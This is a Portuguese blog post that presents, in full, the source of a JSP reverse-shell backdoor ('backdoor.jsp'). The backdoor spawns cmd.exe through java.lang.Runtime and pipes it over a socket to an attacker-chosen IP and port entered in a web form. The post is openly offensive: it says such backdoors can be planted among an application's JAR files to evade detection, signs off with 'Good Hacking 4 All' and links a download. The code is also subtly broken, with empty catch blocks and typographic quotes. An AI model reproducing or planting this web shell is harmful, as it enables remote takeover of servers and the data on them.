RootSecurity

Java Server Pages (JSP) e uma forma muito popular para desenvolver aplicações web. Servidores que aplicação que suportam JSP muito conhecidos são Apache Tomcat, Weblogic e iPlanet. Neste post vamos dar uma olhada em um JSP malicioso que pode ser plantado em um servidor de aplicação Java para dar ao atacante uma shell reversa.

Entre as numerosas Classes do JRE está a java.lang.Runtime. Esta classe suporta um grande número de métodos que podem ser utilizados para executar um programa qualquer disponível no sistema alvo. Alguns destes métodos estão listados abaixo:

Return value	Method name
Process	exec(String command)
Process	exec(String cmd, String[] envp)
Process	exec(String command, String[] envp, File dir)

Observe que estes métodos executam o comando que é enviado através do parâmetro String e retorna um Process Object. Deste Process Object, é possivel obter o InputStream, OutputStream e o ErrorStream do processo executado. O resultado da execução do comando pode ser obtido através da leitura do OutputStream.

O JRE também contem um objeto Socket que pode ser usado para efetuar comunicação socket de outbound. Assim como o Process Object, o Socket Object tem InputStream e OutputStream Objects que pode ser utilizados para ler e escrever dados para o socket. Tendo em mente esta duas classes, é possivel escrever um reverse-shell backdoor cujo os passos seriam os seguintes:

1. Obter o Runtime Object,

2. Executar cmd.exe usando o Runtime Object e pegar o Process Object,

3. Criar uma conexão Socket de volta para o atacante,

4. Conectar o Socket OutStream ao Process InputStream,

5. Connectar o Socket InputStream ao Process OutputStream.

Abaixo segue o código ilustrando o exemplo citado acima:

— BOF—

// backdoor.jsp

< %@

page import=”java.lang.*, java.util.*, java.io.*, java.net.*”

% >

< %!

static class StreamConnector extends Thread

{

InputStream is;

OutputStream os;

StreamConnector(InputStream is, OutputStream os)

{

this.is = is;

this.os = os;

}

public void run()

{

BufferedReader isr = null;

BufferedWriter osw = null;

try

{

isr = new BufferedReader(new InputStreamReader(is));

osw = new BufferedWriter(new OutputStreamWriter(os));

char buffer[] = new char[8192];

int lenRead;

while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)

{

osw.write(buffer, 0, lenRead);

osw.flush();

}

}

catch (Exception ioe)

try

{

if(isr != null) isr.close();

if(osw != null) osw.close();

}

catch (Exception ioe)

}

}

% >

<h1>JSP Backdoor Reverse Shell</h1>

<form method=”post”>

IP Address

<input type=”text” name=”ipaddress” size=30>

Port

<input type=”text” name=”port” size=10>

<input type=”submit” name=”Connect” value=”Connect”>

</form>

<p>

<hr>

< %

String ipAddress = request.getParameter(“ipaddress”);

String ipPort = request.getParameter(“port”);

if(ipAddress != null && ipPort != null)

{

Socket sock = null;

try

{

sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());

Runtime rt = Runtime.getRuntime();

Process proc = rt.exec(“cmd.exe”);

StreamConnector outputConnector =

new StreamConnector(proc.getInputStream(),

sock.getOutputStream());

StreamConnector inputConnector =

new StreamConnector(sock.getInputStream(),

proc.getOutputStream());

outputConnector.start();

inputConnector.start();

}

catch(Exception e)

}

% >

–EOF–

A imagem abaixo mostra a tela da Backdoor para que o atacante possa colocar seu host / port para a conexão reversa:

As poderosas classes que pertecem ao JRE Default dão muita flexibilidade para os desenvolvedores de Backdoors. Particularmente, o Runtime class permite a execuçào de programas externos e suporta o carregamento de DLLs ou Unix shared objects.

Se o aplicação server for comprometido, backdoors podem ser plantadas junto com os JAR files da aplicação e será muito dificil de detecta-las.

Good Hacking 4 All.

Link: Source da Backdoor pode ser baixado aqui: Backdoor.Jsp